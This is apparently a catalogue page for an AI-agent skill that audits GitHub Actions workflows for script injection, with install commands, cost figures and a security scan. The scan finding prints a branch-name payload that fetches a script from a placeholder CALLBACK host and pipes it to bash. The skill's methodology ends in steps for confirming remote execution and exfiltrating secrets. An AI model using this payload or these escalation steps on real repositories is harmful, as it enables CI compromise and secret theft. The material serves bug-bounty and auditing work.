github-actions-script-injection

github-actions-script-injection is a skill for Claude Code, Codex from ShulkwiSEC/bb-huge. It costs 95 tokens per session (1,712 once invoked), scanned A, original, MIT.

A guide for finding command-injection risks in GitHub Actions workflows. GitHub Actions is GitHub’s system for running automated build, test, and deployment jobs.

In plain words
What is it for?
Use it to audit workflow files, especially pull request, issue, comment, and artifact-handling jobs that use untrusted GitHub event data.
Why use it?
It helps detect cases where attacker-controlled pull request or issue text is inserted into shell commands and can run with workflow permissions.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: mentions Claude Code.

Good fit Use it to audit workflow files, especially pull request, issue, comment, and artifact-handling jobs that use untrusted GitHub event data.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/shulkwisec/bb-huge/github-actions-script-injection
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add ShulkwiSEC/bb-huge --skill github-actions-script-injection
Clone the repo
git clone --depth 1 https://github.com/ShulkwiSEC/bb-huge

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for github-actions-script-injection

README.md
[![agentmods](https://agentmods.dev/badge/skills/shulkwisec/bb-huge/github-actions-script-injection/github.svg)](https://agentmods.dev/skills/shulkwisec/bb-huge/github-actions-script-injection)
Your own site
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/github-actions-script-injection"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/github-actions-script-injection/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for github-actions-script-injection

Your own site · 80×15
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/github-actions-script-injection"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/github-actions-script-injection.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 95 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,712 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00095 $0.01712
Opus 5 $0.00048 $0.00856
Sonnet 5 $0.00019 $0.00342
Haiku 4.5 $0.00010 $0.00171

Measured 7d ago against content hash 2f82e06bb2ed, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade A, and why

github-actions-script-injection scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

git checkout -b '$({curl,-sSfL,https://CALLBACK/payload.sh}${IFS}|${IFS}bash)'
skills/curated/github-actions-script-injection/SKILL.md · 139 lines

How it starts

The opening of the file, as written. The whole thing — 139 lines — stays where its author put it; the contents beside it link to each section on GitHub.

GitHub Actions Script Injection

What Is Broken and Why

GitHub Actions workflows interpolate context expressions like ${{ github.head_ref }} directly into shell run: steps at workflow parse time — before the shell executes. An attacker who controls the input (branch name, PR title, issue body, commit message) can inject arbitrary shell commands that execute with the workflow's token permissions. Even a read-only token becomes dangerous if it can be leveraged into cache poisoning, secret exfiltration via subsequent workflows, or SSRF to internal services.

Key Signals

  • run: steps containing ${{ github.head_ref }}, ${{ github.event.pull_request.title }}, ${{ github.event.pull_request.body }}, ${{ github.event.issue.title }}, ${{ github.event.issue.body }}, ${{ github.event.comment.body }}
  • pull_request_target trigger (runs in base repo context — elevated permissions + secrets)
  • workflow_run consuming artifacts or outputs from untrusted workflows
  • issue_comment, pull_request_review_comment triggers with body interpolation
  • Workflows that echo, log, or use attacker-controlled strings in shell steps
  • ${{ toJson(github.event) }} piped into scripts
  • Missing env: variable indirection (safe pattern uses env: VAR: ${{ expr }} then $VAR)

Methodology

  1. Enumerate all workflow files: find .github/workflows -name "*.yml" -o -name "*.yaml"
  2. Grep for dangerous context variables used directly in run: blocks:
    grep -rn 'run:' .github/workflows/ | grep -E '\$\{\{.*github\.(head_ref|event\.'
    
  3. For each hit, trace the trigger: is it pull_request, pull_request_target, issue_comment, workflow_dispatch?
  4. Check token permissions: permissions: block or default GITHUB_TOKEN scope.
  5. Identify what secrets are available in the workflow environment.
  6. Craft a branch name (or PR title/body) with injection payload.
  7. Open a PR from a fork using the malicious branch name to trigger the workflow.
  8. Confirm RCE via out-of-band callback (DNS/HTTP to CALLBACK server).
  9. Escalate: exfiltrate secrets, poison cache, pivot to downstream workflows.

Read the full file on GitHub · 139 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 7d ago First seen · 139 lines · 95 tokens per session scan A 2f82e06bb2ed

Subscribe to this mod's changes

github-actions-script-injection is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 95 tokens to every session and 1,712 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.